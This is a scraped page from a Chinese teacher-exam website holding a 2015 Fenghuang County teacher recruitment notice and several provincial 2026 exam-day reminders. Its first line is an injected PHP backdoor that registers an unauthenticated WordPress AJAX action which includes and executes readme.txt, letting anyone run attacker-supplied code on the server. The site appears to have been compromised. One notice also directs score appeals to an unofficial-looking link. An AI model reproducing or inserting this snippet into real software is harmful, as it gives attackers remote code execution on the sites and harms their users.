if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
湖南省凤凰县教育事业单位2015年教师招聘公告-全国教师资格考试网

湖南省凤凰县教育事业单位2015年教师招聘公告

  为加强我县教师队伍建设,促进我县教育事业持续均衡发展,根据《湖南省事业单位公开招聘人员试行办法》(湘人社发〔2011〕45号)和州委、州政府《关于加强全州农村教育人才发展的实施意见》(州发〔2014〕3号)等文件精神,经研究并报州人社局核准,我县教育事业单位2015年拟公开招聘教师20名。为确保招聘工作顺利进行,特制定本方案。
一、招聘原则
坚持“公开、公平、公正”的原则择优聘用,按发布招聘方案、报名与资格审查、笔试、面试、体检、考核、办理聘用手续的步骤进行。
二、招聘基本条件
(一)具有中华人民共和国国籍;
(二)政治思想表现好,遵纪守法,热爱教育事业;
(三)具备岗位所需的专业知识和技能条件;
(四)招聘范围为面向本县的,报考者现户籍或进入大中专院校学习前户籍须在本县,正在我县服务的和服务期满后仍在我县服务的“四项目人员”可报考本县的招聘岗位。户籍认定时间以2015年6月25日为准。招聘范围为面向社会的岗位不限户籍;
(五)年龄在18周岁以上、30周岁以下(1997年7月6日至1984年7月6日期间出生)。
三、招聘岗位、计划及要求
详见《凤凰县教育事业单位2015年公开招聘人员岗位表》(附件1)。
四、招聘程序
(一)信息发布
招聘信息通过湘西州人力资源和社会保障局网、湘西州教育网、凤凰县人民政府网面向社会公开发布。
(二)报名
1、报名时间:2015年7月6日—7月8日
2、报名地点:凤凰县教育局五楼会议室
3、报名要求:
(1)采取现场报名方式,报考者需提供有效身份证、毕业证(应届毕业生未取得毕业证的可持学校准予毕业证明或毕业生就业推荐表)、教师资格证、户口簿(或户籍证明)等原件和复印件各1份,提交《湖南省事业单位公开招聘人员报名表》1份(附件2),机关事业单位在编人员报考需提交所在单位主管部门同意报考证明。
(2)交近期免冠同底一寸相片2张。按物价部门核准的标准收取报名费。
(3)每个考生限报一个岗位,报名后不得更改报考岗位。报考初中体育岗位的按成绩高低,分别依次安排在茶田中学和两林中学;报考村小教师岗位的按成绩高低,分别依次安排在板畔学区樟坡教学点及两林学区的吾斗教学点、凉井教学点、叭高教学点、禾当教学点、代高教学点。
(4)开考比例:招聘岗位计划数与报考人数的比例不低于1:3,达不到开考比例的,报州人社局批准,相应核减招聘计划或取消该岗位。报考岗位被取消的人员,可改报符合条件的其他岗位。
(5)专业认定参照《2015年湖南省考试录用公务员专业指导目录》(附件3)执行,所学专业未列入《2015年湖南省考试录用公务员专业指导目录》的,由县教育局进行认定。
(三)资格审查
1、报考对象由县教育局进行资格审查,个人所提供的相关证件必须真实有效,凡弄虚作假一经查出,即取消资格,一切责任自负。
2、资格审查包括报名时资格初审、面试(体检)前资格复审、考核时资格重审、聘用前资格终审,并贯穿公开招聘全过程。
(四)笔试
1、所有考生均参加教育理论和专业知识笔试,笔试科目为二科,合卷满分100分。其中教育理论20分,专业知识80分。
教育理论考试内容为《教育学》、《心理学》,专业知识考试内容为报考岗位所应具备的专业基础知识(村小教师岗位语文与数学知识各占40分)。报考凤凰县第四中学岗位的专业知识成绩(不含教育理论得分)需达到60分及以上。
2、笔试时间及地点:2015年7月18日上午9∶00—11∶00,凤凰县高级中学。
3、准考证领取时间及地点:2015年7月17日在凤凰县教育局人事股领取。
(五)面试
1、面试采取试讲等形式进行,以具体方案为准。
2、面试对象根据笔试成绩按招聘岗位数1∶3的比例确定。出现笔试成绩相同的,以专业成绩高低依次确定。
3、面试时间、地点另行通知。
4、按笔试成绩占40%,面试成绩占60%的比例确定考生综合成绩。
(六)体检
不需进行面试的岗位根据笔试成绩、进行面试的岗位根据综合成绩由高分到低分按招聘计划等额确定体检人员(体检时必须提交所有证件原件,否则取消资格),如笔试成绩或综合成绩相同,不需进行面试岗位根据专业知识成绩、进行面试岗位根据笔试成绩(笔试成绩相同的根据专业知识成绩)高低依次确定。体检标准参照《公务员录用体检通用标准(试行)》执行。报考人员对体检结果有疑问的,可在规定的时间内对可以复检的项目申请复检。复检内容为对体检结论有影响的项目,复检只进行一次,体检结果以复检结论为准。体检不合格者取消聘用资格,递补体检人员实行面试的岗位按综合成绩(不进行面试的岗位按笔试成绩)从高到低依次递补,递补只进行一次。体检费用由受检人员自理,体检时间另行通知。
进入体检、考核程序的考生,不得随意放弃资格,否则,按恶意报考并禁考三年处理。
考试成绩和体检结果,按程序分阶段在凤凰县人民政府网站、凤凰县教育网络电视台和县教育局公示栏公示。
(七)考核
体检合格人员作为考核对象,由县教育局组织资格重审和考核。如有考核不合格者,则按体检递补的办法依次对递补对象进行体检和考核。
(八)聘用
经过考试、体检、资格复审、考核合格人员名单,向社会公示7个工作日。公示无异议,报州人社局审批后,按程序办理相关聘用手续,实行聘用制管理,享受招聘单位同类人员的工资福利待遇。按规定约定试用期,若试用期考核不合格取消聘用资格。应聘者一经聘用,必须安心到应聘学校工作,5年内不得提出调动申请。
五、监督
为确保招聘工作客观公正,县人社局、县纪委全程指导、全程监督,同时接受社会各界监督。
六、本方案由凤凰县教育局负责解释。
咨询电话:0743—3506094(凤凰县教育局人事股)
凤凰县教育局
2015年6月25日
 
回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部